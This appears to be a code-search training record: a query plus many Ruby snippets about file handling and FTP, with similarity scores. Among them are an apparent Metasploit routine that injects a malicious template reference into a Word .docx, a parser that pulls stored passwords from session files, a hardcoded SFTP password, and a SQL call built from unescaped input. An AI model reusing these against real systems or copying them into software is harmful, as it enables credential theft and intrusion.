192f3bc870cc75eb3214189163c31bd2ae1a36d813baf227d55c7c576192f40f \n tabname = \"UDF_Latest_session_by_user('#{@user.email}')\"\n outcome = SqlserverHelper.database_select(\"sqlserver\", \"PARIS_REPORTER\", \"dbo\", tabname , [\"session_id\"], nil, nil, nil)\n end", "def file_to_uri(file); end", "def file_to_uri(file); end", "def file\n @file ||= Operations::FileFactory.new(self)\n end", "def convertFile(file)\n if (!(File.file?(file) && !File.zero?(file)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file, \"convertFile\", \"pdf-to-text\", \"The file must exist and not be empty.\", \"convert_file\"), 470);\n end\n \n @files['file'] = file\n @helper.post(@fields, @files, @raw_data)\n end", "def import_msfe_file(args={})\n\t\tfilename = args[:filename]\n\t\twspace = args[:wspace] || workspace\n\n\t\tf = File.open(filename, 'rb')\n\t\tdata = f.read(f.stat.size)\n\t\timport_msfe_xml(args.merge(:data => data))\n\tend", "def twin_file(file)\n if in_cloud? file\n file.sub(Kinksync.configuration.cloud_path, '')\n else\n Kinksync.configuration.cloud_path + file\n end\n end", "def get_files_to_upload(file_dir, dom)\n @log.info 'Figuring out which files to upload'\n\n uploaded_files = []\n\n # xpath variables\n premis_ns = { 'premis' => 'http://www.loc.gov/standards/premis' }\n mets_ns = { 'mets' => 'http://www.loc.gov/METS/' }\n checksum_xpath = 'premis:objectCharacteristics/premis:fixity/premis:messageDigest'\n original_name_xpath = 'premis:originalName'\n\n # loop over the files listed in the METS\n file_md5_list = dom.xpath('//premis:object', premis_ns)\n file_md5_list.each do |fptr|\n # file location info\n file_checksum = fptr.at_xpath(checksum_xpath, premis_ns).inner_html\n flocat_xpath = \"//mets:file[@CHECKSUM='\" + file_checksum + \"']/mets:FLocat\"\n file_location = dom.at_xpath(flocat_xpath, mets_ns)\n\n # the name of the file in the aip package and its original name\n aip_filename = file_location.attr('xlink:href')\n orig_filename = fptr.at_xpath(original_name_xpath, premis_ns).inner_html\n\n # type of file\n file_type = file_location.parent.parent.attr('USE')\n\n case file_type\n when 'THUMBNAIL'\n if @config['include_thumbnail']\n uploaded_file = upload_file(file_dir, orig_filename, aip_filename, 'thumbnail')\n uploaded_files.push(uploaded_file) unless uploaded_file.nil?\n end\n when 'ORIGINAL'\n uploaded_file = upload_file(file_dir, orig_filename, aip_filename, 'bitstream')\n uploaded_files.push(uploaded_file) unless uploaded_file.nil?\n end\n end\n\n uploaded_files\nend", "def upload_xml_file(file_name, xml)\n # Creates directory if it doesn't exist\n create_upload_dir\n # Save file to server's uploads dir\n file_to_upload = File.open(Rails.root.join('public', 'uploads', file_name), \"wb\")\n file_to_upload.write(xml)\n file_to_upload.close()\n end", "def get_infile\n uri = URI.parse(self.inputurl)\n self.infile = open(uri)\n self.proper_infilename = self.inputurl.split(/\\//).to_a[-1]\n self.save\n end", "def readRemoteXML\n #sftp= Net::SFTP.start('belkuat.workhorsegroup.us', 'BLKUATUSER', :password => '5ada833014a4c092012ed3f8f82aa0c1')\n Net::SFTP.start('belkuat.workhorsegroup.us', 'BLKUATUSER', :password => '5ada833014a4c092012ed3f8f82aa0c1') do |sftp|\n sftp.dir.glob(WORKHORSE_TO_SALSIFY, FILE_EXTN).each do |file|\n #puts file.name\n sftp.download(File.join(WORKHORSE_TO_SALSIFY, '/', file.name), File.join(LOCAL_DIR, file.name))\n end\n end\n end", "def proper_file_uri(file)\n p(\"-- setting up proper file uri for file: [ #{file} ]\")\n case RUBY_PLATFORM\n when /cygwin/, /mswin32/, /i386-mingw32/\n new_path = file.gsub(/C:/,'')\n p(\"-- new_path (windows only) = #{new_path}\")\n return \"file://\" + new_path\n else\n return \"file://\" + file\n end\n end", "def manipulate_file\n\t\tref = \"<w:attachedTemplate r:id=\\\"rId1\\\"/>\"\n\n\t\tif not File.stat(datastore['SOURCE']).readable?\n\t\t\tprint_error(\"Not enough rights to read the file. Aborting.\")\n\t\t\treturn nil\n\t\tend\n\n\t\t#lets extract our docx and store it in memory\n\t\tzip_data = unzip_docx\n\n\t\t#file to check for reference file we need\n\t\tfile_content = zip_data[\"word/settings.xml\"]\n\t\tif file_content.nil?\n\t\t\tprint_error(\"Bad \\\"word/settings.xml\\\" file, check if it is a valid .docx.\")\n\t\t\treturn nil\n\t\tend\n\n\t\t#if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.\n\t\tif not file_content.index(\"w:attachedTemplate r:id=\\\"rId1\\\"\").nil?\n\t\t\tvprint_status(\"Reference to rels file already exists in settings file, we dont need to add it :)\")\n\t\t\tzip_data[\"word/_rels/settings.xml.rels\"] = @rels_file_data\n\t\t\t# lets zip the end result\n\t\t\tzip_docx(zip_data)\n\t\telse\n\t\t\t#now insert the reference to the file that will enable our malicious entry\n\t\t\tinsert_one = file_content.index(\"<w:defaultTabStop\")\n\n\t\t\tif insert_one.nil?\n\t\t\t\tinsert_two = file_content.index(\"<w:hyphenationZone\") # 2nd choice\n\t\t\t\tif not insert_two.nil?\n\t\t\t\t\tvprint_status(\"HypenationZone found, we use this for insertion.\")\n\t\t\t\t\tfile_content.insert(insert_two, ref )\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tvprint_status(\"DefaultTabStop found, we use this for insertion.\")\n\t\t\t\tfile_content.insert(insert_one, ref )\n\t\t\tend\n\n\t\t\tif insert_one.nil? && insert_two.nil?\n\t\t\t\tprint_error(\"Cannot find insert point for reference into settings.xml\")\n\t\t\t\treturn nil\n\t\t\tend\n\n\t\t\t#update the files that contain the injection and reference\n\t\t\tzip_data[\"word/settings.xml\"] = file_content\n\t\t\tzip_data[\"word/_rels/settings.xml.rels\"] = @rels_file_data\n\t\t\t#lets zip the file\n\t\t\tzip_docx(zip_data)\n\t\tend\n\t\treturn 0\n\tend", "def choose_file=(file_name)\n frm.file_field(:name=>\"importPoolForm:_id6.upload\").set(File.expand_path(File.dirname(__FILE__)) + \"/../../data/sakai-cle-test-api/\" + file_name)\n end", "def read_tsp_file( file_name )\n file_path = File.join( TSP_DIR, \"#{file_name}.tsp\" )\n File.open( file_path ).read\nend", "def imprime_ficha\n \n prawnto :prawn => {\n :left_margin => 20,\n :right_margin => 20,\n :top_margin => 400,\n :bottom_margin => 20 }\n \n @paciente = Paciente.find(params[:id]) \n @razon = \"\"\n @razon = @paciente.razon unless @paciente.razon.nil?\n @rfc = \"\"\n @rfc = @paciente.rfc unless @paciente.rfc.nil?\n @consulta = Consulta.find(params[:consulta_id])\n \n if !@consulta.cita.nil?\n @ref_estudio = @consulta.cita.operation.ref_estudio unless @consulta.cita.operation.ref_estudio.nil?\n @fecha_hora = @consulta.cita.fecha_hora unless @consulta.cita.fecha_hora.nil?\n else\n @ref_estudio = \"\"\n @fecha_hora = \"\"\n end\n \n \n \n respond_to do |format|\n #format.html # show.html.erb\n #format.xml { render :xml => @pago }\n format.pdf {render :layout => false }\n end\n end", "def ingest_file(file)\n working_file = copy_file_to_working_directory(file, file_set.id)\n mime_type = file.respond_to?(:content_type) ? file.content_type : nil\n IngestFileJob.perform_later(file_set, working_file, mime_type, user, relation)\n true\n end", "def parser_xfp(file)\n ini = Rex::Parser::Ini.from_s(file)\n version = ini['SessionInfo']['Version']\n port = ini['Connection']['Port']\n host = ini['Connection']['Host']\n username = ini['Connection']['UserName']\n password = ini['Connection']['Password']\n [version, host, port, username, password]\n end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file\n @file ||= find_file\n end", "def path\n file.url\n end", "def file_extract(node, remote_file, local_file)\n code, _remote = node.extract_file(remote_file, local_file, 'root', false)\n code\nend", "def file\n files.first\n end", "def file\n files.first\n end", "def create_file(file)\n @generic_file = GenericFile.new\n @generic_file.batch_id = object.batch.pid\n @generic_file.add_file(file.read, 'content', file.name)\n @generic_file.apply_depositor_metadata(object.edit_users.first)\n @generic_file.date_uploaded = Time.now.ctime\n @generic_file.date_modified = Time.now.ctime\n @generic_file.save\n end", "def getFile(file)\n return fileByName.fetch(file, nil)\n end", "def path_to_file(file)\n # return if we already have the full file path\n return file if File.exist?(file)\n path = importerexporter.parser.path_to_files\n f = File.join(path, file)\n return f if File.exist?(f)\n raise \"File #{f} does not exist\"\n end", "def path_to_file(file)\n # return if we already have the full file path\n return file if File.exist?(file)\n path = importerexporter.parser.path_to_files\n f = File.join(path, file)\n return f if File.exist?(f)\n raise \"File #{f} does not exist\"\n end", "def gen_rel_path(file)\n file = \"/secure/video/#{@folder}/#{file}\"\n end" ]
[ "0.5706662", "0.5615323", "0.54685116", "0.54543585", "0.53751504", "0.5345411", "0.5313451", "0.5194258", "0.5150226", "0.5145376", "0.5145376", "0.5145376", "0.5145376", "0.5143473", "0.51386917", "0.5077058", "0.5052922", "0.5045206", "0.5037909", "0.50337553", "0.5001857", "0.49974975", "0.49655205", "0.4940879", "0.49340644", "0.493316", "0.49245444", "0.4920965", "0.49162027", "0.4898319", "0.48970452", "0.48898545", "0.48741743", "0.48723257", "0.4868988", "0.48572633", "0.48410603", "0.48394498", "0.48187563", "0.48151264", "0.48151264", "0.48135817", "0.47971573", "0.47950935", "0.47944462", "0.47900024", "0.47843733", "0.47771266", "0.47762692", "0.47753212", "0.47653806", "0.47653806", "0.47513086", "0.47482973", "0.47482973", "0.47375008", "0.47325033", "0.4727353", "0.47255135", "0.47188196", "0.4717582", "0.47135046", "0.4712893", "0.4712893", "0.47025064", "0.469135", "0.46901664", "0.4689908", "0.46885297", "0.46813244", "0.46777228", "0.46728167", "0.46696034", "0.46647227", "0.46576312", "0.4654271", "0.4653853", "0.46482974", "0.4641368", "0.46404988", "0.46404988", "0.46404988", "0.46404988", "0.46404988", "0.46404988", "0.46404988", "0.46404988", "0.46404988", "0.46404988", "0.46404988", "0.46356598", "0.46314004", "0.46281728", "0.46242276", "0.46242276", "0.46174756", "0.46048373", "0.4603284", "0.4603284", "0.46007407" ]
0.68472946
0
Chiude la connesione FTP Parameters : nil Return : nil
def close_connection @ftp.close end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def connect_ftp\n require \"net/ftp\"\n require 'timeout'\n result = true\n \n if @connection.nil? then\n host = @config['ftp']['host_address']\n username = @config['ftp']['username']\n password = @config['ftp']['password']\n @connection = Net::FTP.new\n @connection.passive = true\n begin\n Timeout.timeout(7) do\n @connection.connect host, 21\n end\n rescue\n @connection_error = \"couldn't connect to host\"\n result = false\n end\n \n begin\n Timeout.timeout(4) do\n @connection.login username, password\n end\n rescue\n @connection_error = \"invalid username/password\"\n result = false\n end\n end\n \n if result == false\n @connection = false\n end\n \n @connection\n \n end", "def ftp_file_upload(database_output, ftp_file_location)\n if database_output['ftp_host'] == '' or database_output['remote_user'] == '' or database_output['remote_passwd'] == ''\n puts 'Invalid FTP credentials fetched from Database'\n else\n # UPLOADING FILES THROUGH FTP\n file_path = File.new(ftp_file_location)\n Net::FTP.open(database_output['ftp_host'], database_output['remote_user'], database_output['remote_passwd']) do |ftp|\n puts \"\\n#FTP RESPONSE SHOWN ON LOGGED VIA DATABASE CREDENTIALS\"\n if ftp.closed?\n puts \"Invalid FTP Credentials or Try with different FTP credentials\"\n else\n puts \"FTP Login is successfull : #{database_output['remote_user']}\"\n ftp.putbinaryfile(file_path)\n @log_time_stamp = Time.now\n puts \"File upload is successfull in FTP\"\n end\n end\n end\nend", "def create_ftp_connection\n\t\tftp = Net::FTP.new()\n\t\tftp.connect( self.origin_ftp_host, self.origin_ftp_port )\n\t\tftp.login( self.origin_ftp_username, self.origin_ftp_password )\n\t\tftp\n\tend", "def initialize(host, user, pass)\n @ftp = Net::FTP.open(host, user, pass)\n end", "def ftp_get_from_system\r\n\r\n require 'net/ftp'\r\n require 'timeout'\r\n\r\n f = File.open(\"#{RAILS_ROOT}/log/ftp_transfer.log\", 'w')\r\n\r\n system_id =params[:id]\r\n finish = false\r\n ftpdest=\"\"\r\n\r\n @system = System.find(system_id)\r\n f.write(\"System \" + @system.id.to_s + \"\\n\")\r\n\r\n @system.frames.each do |@frame|\r\n f.write(\"----==============----\\n\")\r\n f.write(\"Frame \" + \"#\" + @frame.intnummer.to_s + \" \" + @frame.ipadresse.to_s + \"\\n\")\r\n if @frame.ipadresse.size>0 and finish==false then\r\n f.write(\">>FTP: \" + @frame.ipadresse.to_s + \" user:\" + Global::FTPUSER.to_s + \" pass:\" + Global::FTPPASSWD.to_s + \" dir:\" + Global::FTPDIR.to_s + \"\\n\")\r\n veto = false\r\n ftp = nil\r\n begin\r\n timeout(Global::CON_TIMEOUT) do\r\n f.write(\">>FTP: trying to connect to \" + @frame.ipadresse.to_s + \"\\n\")\r\n ftp = Net::FTP::new(@frame.ipadresse)\r\n ftp.login(Global::FTPUSER, Global::FTPPASSWD)\r\n end\r\n f.write(\">>FTP connect successfully \" + @frame.ipadresse.to_s + \"\\n\")\r\n\r\n rescue Net::FTPPermError => msg\r\n ftpdest = ftpdest + \"<font color='red'>Fehler Login: \" + @frame.ipadresse.to_s + \"</font><br />\"\r\n f.write(\">>FTP connect FAILED \" + @frame.ipadresse.to_s + \" by PermissionError\\n\")\r\n\r\n veto = 1\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n\r\n rescue Timeout::Error => msg\r\n f.write(\">>FTP connect FAILED \" + @frame.ipadresse.to_s + \" by TimeOut\\n\")\r\n veto = true\r\n\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n\r\n rescue => msg\r\n f.write(\">>FTP connect FAILED \" + @frame.ipadresse.to_s + \" by \" + msg + \"\\n\")\r\n veto = true\r\n\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n end\r\n\r\n\r\n\r\n # Bei Verbindung Daten holen versuchen\r\n unless veto==true then\r\n f.write(\">> -NO- veto\\n\")\r\n\r\n begin\r\n timeout(Global::TRANSFER_TIMEOUT) do\r\n f.write(\">>FTP trying Transfer \" + @frame.ipadresse.to_s + \"\\n\")\r\n\r\n ftp.chdir(Global::FTPDIR)\r\n ftp.getbinaryfile(\"ibt.conf\", \"#{RAILS_ROOT}/conf/ibt.conf\", 1024)\r\n\r\n\r\n if !File.directory?(\"#{RAILS_ROOT}/conf/#{@system.id}\")\r\n Dir.mkdir(\"#{RAILS_ROOT}/conf/#{@system.id}\")\r\n end\r\n\t if File.exists?(\"gpio.conf\")\r\n\t\t ftp.getbinaryfile(\"gpio.conf\", \"#{RAILS_ROOT}/conf/#{@system.id}/gpio.conf\", 1024)\r\n\t else\r\n\t\t File.new(\"conf/#{@system.id}/gpio.conf\",\"w\")\r\n\t end\r\n\t if File.exists?(\"gpio.txt\")\r\n\t\t ftp.getbinaryfile(\"gpio.txt\", \"#{RAILS_ROOT}/conf/#{@system.id}/gpio.txt\", 1024)\r\n\t else\r\n\t\t File.new(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.txt\",\"w\")\r\n\t end\r\n\r\n\r\n ftpdest = @frame.ipadresse\r\n end\r\n\r\n f.write(\">>FTP: done for \" + @frame.ipadresse.to_s + \"\\nTrying import\\n\")\r\n finish = true\r\n\r\n # Dann auch wirklich importieren\r\n import(ftpdest)\r\n\r\n f.write(\">>Import done\\n\")\r\n\r\n rescue Timeout::Error => msg\r\n f.write(\">>FTP1 error \" + msg + \"\\n\")\r\n rescue => msg\r\n f.write(\">>FTP2 error \" + msg + \"\\n\")\r\n ensure\r\n\r\n f.write(\">>FTP3 ensure ftp.close\\n\")\r\n\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n\r\n end\r\n\r\n end\r\n\r\n end\r\n end\r\n\r\n unless finish==true then\r\n f.write(\">>No TRANSFER, finish!=true\\n\")\r\n flash[:notice]=\"Es konnte keine Konfiguration eingelesen werden\"\r\n respond_to do |format|\r\n\t\t \tformat.html { redirect_to :action => \"show\", :id=>system_id }\r\n end\r\n end\r\n f.close\r\n end", "def ftptransfer\r\n\r\n require 'net/ftp'\r\n require 'timeout'\r\n\r\n ftpdest = \"<font color='black'><b>Übertragungsstatus</b><br />\"\r\n\r\n system_id = cookies[:system_id]\r\n @system = System.find(system_id)\r\n\r\n @system.write\r\n\r\n @system.frames.each do |@frame|\r\n if @frame.ipadresse.size>0 then\r\n\r\n veto = 0\r\n logger.info(\">>FTP: \" + @frame.ipadresse + \" \" + Global::FTPUSER + \" \" + Global::FTPPASSWD)\r\n ftp = nil\r\n begin\r\n timeout(Global::CON_TIMEOUT) do\r\n logger.info(\">>FTP: trying to connect\")\r\n ftp = Net::FTP::new(@frame.ipadresse)\r\n ftp.login(Global::FTPUSER, Global::FTPPASSWD)\r\n end\r\n logger.info(\">>FTP connect successfully \" + @frame.ipadresse)\r\n\r\n rescue Net::FTPPermError => msg\r\n ftpdest = ftpdest + \"<font color='red'>Fehler Login: \" + @frame.ipadresse + \"</font><br />\"\r\n logger.info(\">>FTP error connect \")\r\n veto = 1\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n\r\n rescue Timeout::Error => msg\r\n ftpdest = ftpdest + \"<font color='red'>Fehler Timeout: \" + @frame.ipadresse + \"</font><br />\"\r\n logger.info(\">>FTP error connect \")\r\n veto = 1\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n end\r\n\r\n\r\n # Bei Verbindung Daten holen versuchen\r\n unless veto==1 then\r\n\r\n begin\r\n timeout(Global::TRANSFER_TIMEOUT) do\r\n logger.info(\">>FTP: trying to transfer (get)\")\r\n ftp.chdir(Global::FTPDIR)\r\n ftp.putbinaryfile(\"#{RAILS_ROOT}/conf/ibt.conf\", \"ibt.conf\")\r\n\t if File.exists?(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.conf\")\r\n\t\t ftp.putbinaryfile(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.conf\", \"gpio.conf\")\r\n\t end\r\n\r\n\t if File.exists?(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.txt\")\r\n\t\t ftp.putbinaryfile(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.txt\", \"gpio.txt\")\r\n\t end\r\n end\r\n\r\n logger.info(\">>FTP: done for \" + @frame.ipadresse)\r\n ftpdest = ftpdest + \"<font color='green'><b>Übertragung nach \" + @frame.ipadresse + \" erfolgreich</b></font><br />\"\r\n\r\n rescue Timeout::Error => msg\r\n logger.info(\">>FTP error \" + msg)\r\n ftpdest = ftpdest + \"<font color='red'>Fehler1 Übertragung nach \" + @frame.ipadresse + \"<br />\" + \"</font>\"\r\n\r\n rescue\r\n\r\n ftpdest = ftpdest + \"<font color='red'>Fehler2 Übertragung nach \" + @frame.ipadresse + \"<br />\" + \"</font>\"\r\n\r\n ensure\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n end\r\n\r\n end\r\n\r\n end\r\n end\r\n\r\n flash[:notice]= \"<fieldset>\" + ftpdest + \"</font></fieldset>\"\r\n\r\n respond_to do |format|\r\n format.html { redirect_to :action => \"show\", :id=>system_id }\r\n end\r\n\r\n end", "def ftp\n if @_ftp\n if @_ftp.closed?\n @_ftp = Net::FTP.new(address)\n @_ftp.login(self.auth_name, admin_password)\n else\n @_ftp\n end\n else\n @_ftp = Net::FTP.new(address)\n @_ftp.login(self.auth_name, admin_password)\n end\n @_ftp\n end", "def ftp(cmd)\n\tSTDOUT.puts \"FTP: not implemented\"\nend", "def connection\n if Net::FTPTLS.const_defined?(:FTP_PORT)\n Net::FTPTLS.send(:remove_const, :FTP_PORT)\n end; Net::FTPTLS.send(:const_set, :FTP_PORT, port)\n\n Net::FTPTLS.open(hostname, username, password) do |ftp|\n ftp.passive = true\n yield ftp\n end\n end", "def checkFTP()\n aux = Ftp.GetOC()\n for oc in aux do\n resp = HTTParty.get(OC_URI+\"obtener/\"+oc[:id], :body => {}, :header => {'Content-type' => 'application/json'})\n puts resp.code\n if acceptFTP(resp) && resp.code == 200 then\n #accept oc\n accept(oc[:id], '')\n puts oc\n #Facturar\n fact = Invoice.crear(oc[:id])\n #poner en cola\n oc2 = resp[0]\n order = Order.new(oc:oc[:id], total:Integer(oc[:qty]), sku:oc[:sku], due_date:oc2['fechaEntrega'], client:oc2['cliente'], price:Integer(oc2['precioUnitario']), destination:\"FTP\", state:\"accepted\")\n order.save\n end\n end\n end", "def ftp_server_params\r\n params.require(:ftp_server).permit(:name, :server, :username, :password, :last_poll, :next_poll, :poll_unit, :poll_value, :user_id)\r\n end", "def ftp_server_params\n params.require(:ftp_server).permit(:brand_id, :url, :port, :username, :password)\n end", "def open\n log 'opening connection...'\n @ftp.connect(@uri.host, @port)\n log 'connected'\n @ftp.login(@credentials[:login], @credentials[:password])\n log 'logging in...'\n end", "def uploadViaFTP(host, usermame , password , path, files_to_upload)\n \n checkPathOnFTP(host, usermame , password , path)\n \n # on est sûr d'avoir le dossier qu'il faut\n # on fait la vraie connexion\n \n ftp = Net::FTP.new(host)\n \n ftp.login(usermame , password)\n \n # ftp.chdir(path)\n \n files_to_upload.each do |names|\n puts \"host: #{host}\"\n puts 'Envoi du fichier ' + names[0] + ' vers ' + names[1]\n ftp.putbinaryfile(names[0].to_s, names[1])\n end\n \n ftp.close\n \nend", "def set_ftp_service(username = nil, password = nil)\n @user_name = username\n @password = password\n @service = Service::FTP\n end", "def ftpDownload\n ftp = nil\n begin\n timeout( CON_TIMEOUT ) do\n ftp = Net::FTP.new( @ftpUrl )\n ftp.login( @username, @passwd )\n ftp.chdir(@directory)\n $LOG.info(\"#{@name} : Connected to #{ @ftpUrl}\") \n @filenames = ftp.nlst(\"*.#{@extension}\")\n\n end\n @filenames.each{|filename|\n timeout( TRANSFER_TIMEOUT ) do\n $LOG.info(\"#{@name} : Download #{filename}\") \n ftp.getbinaryfile(filename,@folder+\"/#{filename}\") #Get the file\n ftp.delete(filename)\n $LOG.info{\"#{@name} : Deleted on server #{filename}\"}\n end\n } unless @filenames.empty?\n rescue Exception => e\n $LOG.error(\"Error ftp-transfer server: #{@ftpUrl}\")\n $LOG.error(\"Error: #{e}\")\n #raise\n ensure\n ftp.close if ftp\n GC.start\n sleep 5\n end\n \n end", "def ftp_get\n FTP.get(xml_filename)\n end", "def ftp_access \n if User.authenticate(:userid => params[:userid], :password => params[:passwd])\n user = current_user\n login = params[:userid]\n pass = params[:passwd]\n \n @result =\n \"OK\\n\"+\n # \"graphicartshub.com\\n\"+\n \"localhost:3000\\n\"+\n \"#{login}\\n\"+\n \"#{pass}\\n\"+\n \"#{login}\"\n \n else\n @result = \"Failed\\n\"\n end\n return @result, :layout => false\n end", "def ftp_multiple_files_upload(database_output, ftp_file_location, ftp_template_location)\n if database_output['ftp_host'] == '' or database_output['remote_user'] == '' or database_output['remote_passwd'] == ''\n puts 'Invalid FTP credentials fetched from Database'\n else\n # UPLOADING FILES THROUGH FTP\n file_path = File.new(ftp_file_location)\n template_path = File.new(ftp_template_location)\n Net::FTP.open(database_output['ftp_host'], database_output['remote_user'], database_output['remote_passwd']) do |ftp|\n puts \"\\n#FTP RESPONSE SHOWN ON LOGGED VIA DATABASE CREDENTIALS\"\n if ftp.closed?\n puts \"Invalid FTP Credentials or Try with different FTP credentials\"\n else\n puts \"FTP Login is successfull : #{database_output['remote_user']}\"\n ftp.putbinaryfile(template_path)\n puts \"Uploaded Additional Body content file successfully \"\n ftp.putbinaryfile(file_path)\n puts \"Uploaded Input file successfully \"\n @log_time_stamp = Time.now\n puts \"File upload is successfull in FTP\"\n end\n end\n end\nend", "def run\n super\n\n # TODO this won't work once we fix the name regex\n port = _get_entity_detail(\"port\").to_i\n port = 21 if port == 0 # handle empty port\n protocol = _get_entity_detail(\"protocol\") || \"tcp\"\n ip_address = _get_entity_detail(\"ip_address\") || _get_entity_name\n\n # Check to make sure we have a sane target\n if protocol.downcase == \"tcp\" && ip_address && port\n\n begin\n\n ftp = Net::FTP.new\n ftp.connect(ip_address, port)\n ftp.passive = true\n\n out = {}\n begin\n _log \"attempting anonymous login\"\n out[\"anonymous\"] = ftp.login\n rescue Net::FTPPermError => e\n _log_error \"unable to log in, proceeding\"\n rescue EOFError => e\n _log_error \"eof reached when connecting, failing\"\n return\n rescue Errno::ECONNREFUSED => e\n _log_error \"connection refused when connecting, failing\"\n return\n end\n\n begin\n _log \"checking HELP command\"\n out[\"help\"] = \"#{ftp.help}\"\n rescue Net::FTPPermError => e\n _log_error \"unable to run HELP, proceeding\"\n rescue EOFError => e\n _log_error \"eof reached\"\n end\n\n begin\n _log \"checking permissions\"\n ftp.chdir('/')\n out[\"dir\"] = [\n \"root\" => {\n \"listing\" => ftp.list,\n \"facts\" => ftp.mlst.facts\n }\n ]\n rescue Net::FTPPermError => e\n _log_error \"unable to collect directory info, not logged in\"\n rescue Errno::EPIPE => e\n _log_error \"Unable to connect: #{e}\"\n rescue EOFError => e\n _log_error \"eof reached\"\n end\n\n begin\n _log \"checking SYSTEM command\"\n out[\"system\"] = \"#{ftp.system}\"\n rescue Net::FTPPermError => e\n _log_error \"unable to collect system info - not logged in\"\n rescue EOFError => e\n _log_error \"eof reached\"\n end\n\n _set_entity_detail(\"ftp_enumerate\", out)\n _log out\n\n rescue EOFError => e\n _log_error \"Unable to connect: #{e}\"\n rescue Errno::EPIPE => e\n _log_error \"Unable to connect: #{e}\"\n rescue SocketError => e\n _log_error \"Unable to connect: #{e}\"\n rescue Net::FTPPermError=> e\n _log_error \"Unable to connect: #{e}\"\n rescue Net::FTPTempError => e\n _log_error \"Unable to connect: #{e}\"\n rescue Errno::ECONNREFUSED => e\n _log_error \"Unable to connect: #{e}\"\n rescue Errno::ETIMEDOUT => e\n _log_error \"Unable to connect: #{e}\"\n rescue Errno::ECONNRESET => e\n _log_error \"Unable to connect: #{e}\"\n rescue Net::ReadTimeout => e\n _log_error \"Timeout: #{e}\"\n end\n\n end\n\n end", "def set_ftp_server\r\n @ftp_server = FtpServer.find(params[:id])\r\n end", "def set_ftp_server\n @ftp_server = FtpServer.find(params[:id])\n end", "def ftp_open( &block )\n\t\tftp_connection = create_ftp_connection\n\t\tftp_connection.chdir( ftp_host_path )\n\t\tyield( ftp_connection )\n\t\tftp_connection.close\n\t\tnil\n\tend", "def _ftp_endpoint(str, *opts)\n return nil unless str\n tuple = str.sub('(', '').gsub(',', ' ').split.collect { |x| x.to_i }\n return nil unless tuple.length == 6\n ip = (tuple[0] << 24) + (tuple[1] << 16) + (tuple[2] << 8) + tuple[3]\n port = (tuple[4] << 8) + tuple[5]\n [ ip, port, *opts ]\n end", "def connect(host, port = FTP_PORT) # :nodoc:\n @host = host\n orig_connect(host, port)\n end", "def with_ftp(&block)\n @inside_with_ftp = @inside_with_ftp.to_i + 1\n result = false\n begin\n result = if block.arity == 1\n yield ftp_connection\n else\n yield\n end\n rescue Object\n result = nil\n ensure\n @inside_with_ftp -= 1\n ftp_done\n end\n result\n end", "def upload(file,conf)\nftp_server = conf[:server]\nuser = conf[:user]\npass = conf[:pass]\nfport = conf[:port]\ncon_timeout = 30\ntransfer_timeout = 600\n\nftp = nil\nbegin\n Timeout.timeout( con_timeout ) do\n ftp = Net::FTP.new( )\n ftp.connect(ftp_server, port=fport)\n ftp.login( user, pass )\n end\n\tputs \"\\n\"+aktTime()+\" uploading file: \"+file\n STDOUT.flush #write out immediately\n Timeout.timeout( transfer_timeout ) do\n\t ftp.chdir(conf[:ftpDir]) if conf[:ftpDir]\n ftp.putbinaryfile( file )\n puts aktTime()+\" upload finished\"\n ftpCleanUp(conf,ftp) if conf[:generations]\n end\n\nrescue\n STDERR.puts \"Error ftp-transfer server: #{ftp_server}\"\n raise\nensure\n ftp.close if ftp\n GC.start\n sleep 3\nend\n\nend", "def ftpfile_params\n params.require(:ftpfile).permit(:ftpcr_id, :file_name)\n end", "def ftpUpload(ftpdirint, pdftmp_dir, ftplist, logkey='')\n ftpstatus = Ftpfunctions.uploadImg(ftpdirint, pdftmp_dir, ftplist)\n return ftpstatus\nrescue => logstring\n return ''\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend", "def fetch_csv_from_ftp(type='*')\n puts 'Connecting to FTP...'\n local_files = [] #Successfully downloaded files\n ftp = Net::FTP.open(FTP_HOST, FTP_USR, FTP_PASS)\n begin\n puts 'Connected'\n ftp.chdir(INCOMING_PATH)\n #We only fetch files with suffix that match today\n puts 'Checking for update...'\n filenames = ftp.nlst(\"#{FILE_PREFIX}_#{type}_#{Time.now.strftime(\"%d%m%Y\")}*\")\n\n unless filenames.count.zero?\n filenames.each{ |filename| \n puts \"Fetching #{filename} ...\"\n ftp.getbinaryfile(filename,\"#{RAILS_ROOT}/tmp/#{filename}\")\n local_files += [\"#{RAILS_ROOT}/tmp/#{filename}\"]\n }\n else\n puts 'Sorry, there is no new updates'\n end\n ensure\n ftp.close unless ftp.nil?\n puts 'Disconnected'\n end\n local_files\nend", "def set_ftpfile\n @ftpfile = Ftpfile.find(params[:id])\n end", "def initialize(account_name)\n begin\n config = YAML::load(File.open(\"#{RAILS_ROOT}/config/ftp_accounts.yml\"))\n @ftp = Net::FTP.new(config[account_name][\"host\"])\n @ftp.login(config[account_name][\"login\"],config[account_name][\"password\"])\n RAILS_DEFAULT_LOGGER.info \"You have been succesfully connected to the ftp server\"\n rescue Exception => e\n error_message(e)\n end\n end", "def connect(host, port = FTP_PORT)\n if @debug_mode\n\t print \"connect: \", host, \", \", port, \"\\n\"\n end\n synchronize do\n\t @sock = open_socket(host, port)\n\t voidresp\n end\n end", "def download_api_via_ftp\n ftp = Net::FTP.new('ftp.perforce.com')\n ftp.passive=true\n ftp.login\n\n # At one point, we allowed the gem build to just find 